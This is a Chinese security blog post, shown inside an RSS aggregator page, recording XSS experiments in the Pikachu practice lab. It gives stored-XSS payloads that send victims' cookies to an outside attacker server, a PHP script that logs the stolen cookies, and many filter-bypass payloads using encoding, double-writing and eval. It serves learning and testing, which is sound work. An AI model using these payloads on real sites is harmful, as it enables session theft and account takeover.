惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Jina AI
Jina AI
V
Vulnerabilities – Threatpost
Security Latest
Security Latest
AI
AI
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
量子位
H
Help Net Security
Attack and Defense Labs
Attack and Defense Labs
The GitHub Blog
The GitHub Blog
L
LINUX DO - 最新话题
A
Arctic Wolf
博客园_首页
S
Securelist
S
Secure Thoughts
Google DeepMind News
Google DeepMind News
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
T
Tailwind CSS Blog
Apple Machine Learning Research
Apple Machine Learning Research
酷 壳 – CoolShell
酷 壳 – CoolShell
Stack Overflow Blog
Stack Overflow Blog
N
Netflix TechBlog - Medium
Cyberwarzone
Cyberwarzone
小众软件
小众软件
T
Threatpost
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
Blog — PlanetScale
Blog — PlanetScale
N
News and Events Feed by Topic
NISL@THU
NISL@THU
Forbes - Security
Forbes - Security
博客园 - 聂微东
F
Fortinet All Blogs
Simon Willison's Weblog
Simon Willison's Weblog
H
Heimdal Security Blog
罗磊的独立博客
S
Security @ Cisco Blogs
B
Blog
T
Troy Hunt's Blog
Engineering at Meta
Engineering at Meta
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
The Hacker News
The Hacker News
The Last Watchdog
The Last Watchdog
Hacker News - Newest:
Hacker News - Newest: "LLM"
I
Intezer
T
Threat Research - Cisco Blogs
C
Cybersecurity and Infrastructure Security Agency CISA
The Cloudflare Blog
S
Schneier on Security
月光博客
月光博客
L
LINUX DO - 热门话题
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org

卷卷

今日说法 节目汇总笔记 《斯坦福大学人生设计课》读书笔记 我的书单📖 H-worm (VBS蠕虫) 感染事件溯源分析报告 AMOS (Atomic Stealer) 恶意软件深度分析 银狐26年全面复活,对抗强度或已超25年最高水平 Atomic Stealer (AMOS) 回归:ClickFix、伪装加密货币应用与新型 macOS 持久化机制 关于xt.exe的分析报告 仿真钓鱼页面窃取用户凭证 GitHub Pages配置Cloudflare CDN踩坑之路 推荐RSS热力图和Github热力图使用指南 学习逆向工程相关概念 zabbix快速上手 学习python高级语法特性例题笔记 学习云计算基本理论学习笔记 学习Docker-Compose命令及镜像构建与推送 ATT &CK 框架实践阅读笔记 rundll32.exe恶意加载DLL文件外联 《悉达多》读书笔记 《稀缺》读书笔记 《认知觉醒》读书笔记 《营养学》读书笔记 《心理学》读书笔记 热💖生活 C++开发环境配置与程序运行笔记 IDA Free调试Hello World笔记 逆向免杀 Admin.canway账号命名方式 BAS - Breach and Attack Simulation Windows核心系统进程链与svchost深度解析 企业测试环境的弱口令需要整改吗 AI对话笔记-模板 网络安全行业招聘需求与技术能力分析 银狐木马技术原理分析与检测技术 SIEM-安全信息和事件管理 AI笔记 转载 专业备考⏳ 其他杂项🧶 Markdown 原生图片 知道创宇技能表 Prompt越狱手册 deepseek使用指南 清华大学 deepseek提问方法 markdown基本语法 数据湖:它们是什么?为什么您的组织需要一个? GitHub Codespaces velociraptor(迅猛龙)快速上手 学习windows快捷命令 学习常用 150 个Linux命令 软考中的一些概念 学习ssh基本使用 Linux系统换源输入法和包管理器 DC-8靶机 Metasploitable3下载与安装 信息收集方法及流程 防守之道 开发运维 免责声明 密码喷射攻击:防范攻击你需要知道的事项 密码学中的哈希解释:它的工作原理、算法和实际用途 应急响应术语 各种报错积累 漏洞挖掘思路 收藏夹 RDP和360星图使用 windows入侵排查 Linux入侵排查 Redis日志分析 Linux安全加固 windows安全加固 windows日志ID速查 中间件加固 数据库安全加固 windows系统提权 MySQL注入复盘 学习git版本控制工具的概念与命令 学习Web Shell 学习Linux命令 java环境配置 学习python基础语法特性解题笔记 学习Mysql基础知识 windows权限维持 学习网络及安全的一些术语 PHP代码审计 Linux系统提权 MSSQL注入复盘 Linux权限维持 命令执行和反序列化 逻辑漏洞 upload-labs 框架漏洞 学习PHP语法特性 XXE&SSRF CSRF 文件上传 Google Hacking XSS-lab 学习URL请求后的通信过程 FOFA
XSS实验
卷卷 · 2023-02-10 · via 卷卷

XSS实验

通过存储型XSS获取被攻击者的cookie

  1. 首先,搞清楚原理,cookie在哪里?要发到那里?利用什么发?​3165839-20230505102219883-856345275

  2. 在web server 端构造如下payload

    payload1(不进行编码):<script>document.write('<img src="http://47.113.187.x:91/cookie.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');</script>
    
    payload2(base64编码):<script>document.write('<img src="http://192.168.43.18/xssGetCookie/getcookie.php?cookie='+window.btoa(unescape(encodeURIComponent(escape(document.cookie))))+'">');</script>
  3. payload提交后javascript脚本操纵DOM对象写入img标签,并且标签的url中拼接了用户的cookie值,当浏览器渲染页面时就会GET形式请求图片资源,并将cookie值携带到攻击者服务器。

    image

  4. 在攻击者服务器需要提供和payload路径对应的url给请求端访问,攻击者服务器获取GET中的cookie存储到文本文件中。

    <?php //攻击端,用于接收被攻击端请求的信息
    $cookie = $_GET['cookie']; //获取cookie信息
    $log =  fopen('cookie.txt','a'); //生成获取的cookie信息,打开文件,a是追加写模式
    fwrite($log,$cookie.PHP_EOL); //fwrite写入
    fclose($log);
    ?>
  5. 查看文本文件,两个payload所请求的cookie。​

    image

    经过编码的cookie经过base64和URL解码如下

    name=ichunqiu; PHPSESSID=1iadqpfqbcrjqjfamfdmjchn2t; _ga_P1JF3QTQ79=GS1.1.1726128058.2.0.1726128058.0.0.0
  6. 当其他用户访问该网页

    攻击者端生成如下cookie

    image

  7. 编码的cookie经过base64和URL解码如下

    PHPSESSID=8mf3m5s9h457dlnqfjdmdi5st8

  8. 利用该cookie可以通过工具实现不用账号密码登录他人账户。

Pikachu的XSS实验

存储型

在页面输出cookie即操作DOM获取cookie并展示到页面。

payload:

 <script>document.write('<p>'+document.cookie+'</p>');<script>

注意:document.write中需要是输出字符和变量的拼接。

image

</p><img src="https://www.hacked.com.cn/images/logo.gif" border="0"  onmouseover="javascript:alert('广告位招租')"><p>

image

</p><img src="https://www.hacked.com.cn/images/logo.gif" border="0"  onclick="javascript:alert('广告位招租')"><p>

image

</p><a href="https://nav3.cn/side?page=6&id=0&_=1726107142616">点我导航</a><p>

image

反射型(GET)

直接输入</p>标签被闭合

image

payload:

</p><script>document.write('<p>'+document.cookie+'</p>');</script>

image

反射型(POST)

登录

image

登录发现套路一样

payload:

</p><script>document.write('<p>'+document.cookie+'</p>');</script>

image

DOM型xss

输入111,发现被放到a的href里

image

#' onclick="alert(document.cookie)">   闭合href标签,并且在中添加a有的点击事件。

image

DOM型xss-x

输入内容,发现拼接在URL

image

在a的href里拼接,使其闭合。

image

使用’闭合href,加入onclick事件获取cookie

' onclick="alert(document.cookie)"'

image

xss之href输出

image

W3School中对<a>标签的href属性有以下描述(引用摘自HTML <a> 标签的 href 属性):

<a> 标签的 href 属性用于指定超链接目标的 URL。

href 属性的值可以是任何有效文档的相对或绝对 URL,包括<span data-type="text" style="color: var(--b3-font-color9);">片段标识符</span> <span data-type="text" style="color: var(--b3-font-color9);">JavaScript 代码段</span>。如果用户选择了 <a> 标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行<span data-type="text" style="color: var(--b3-font-color9);"> JavaScript 表达式</span><span data-type="text" style="color: var(--b3-font-color9);">方法和函数的列表</span>

payload:

javascript:alert(document.cookie)

image

XSS与标签

伪协议

data:

payload:

<iframe src\="data:text/html,<script>alert('XSS');</script>" " ><iframe>

javascript:

payload:

javascript:alert(document.cookie)  (可用在href里)

XSS变形

实验环境pikachu XSS

  1. 大小写

    <SCRipt>alert(1)</scRiPt>
  2. 引号‘“

  3. 空格过滤/绕过

  4. 回车绕过

    <a href="j
    a
    v
    ascript:alert('XSS')">回车可用</a>

    事件无法使用

  5. 编码绕过

    java==>html 16进制&#x006a;&#x0061;&#x0076;&#x0061;

    script==>html 10进制 &#115;&#99;&#114;&#105;&#112;&#116;

    <a href="&#x006a;&#x0061;&#x0076;&#x0061;&#115;&#99;&#114;&#105;&#112;&#116;:alert('编码可用')">编码可用</a>
  6. 拆分跨站 仅存储型

    //原始payload:
    <script>
        a="alert";
        a=a+"('使用变量和函数调用alert')";
        eval(a);
    </script>
    
    //拆分后payload:
    <script>a="alert";</script>
    <script>a=a+"('使用变量和函数调用alert')";</script>
    <script>eval(a);</script>
  7. 双写 leve7

    payload:

    "><a hrhrefef="javascrscriptipt:alert('XSS')">111</a>

    当字符被过滤可尝试双写绕过

  8. 10进制编码

    <script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))</script>
    //使用CharCode调用alert,也可以用eval执行
    //97,108,101,114,116,40,39,88,83,83,39,41解码后为alert('XSS')
  9. Unicode编码

    <script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0058\u0053\u0053\u0027\u0029\u003b')</script>
    //使用Unicode编码调用alert,也可以用eval执行
  10. 16进制编码

    <script>eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29")</script>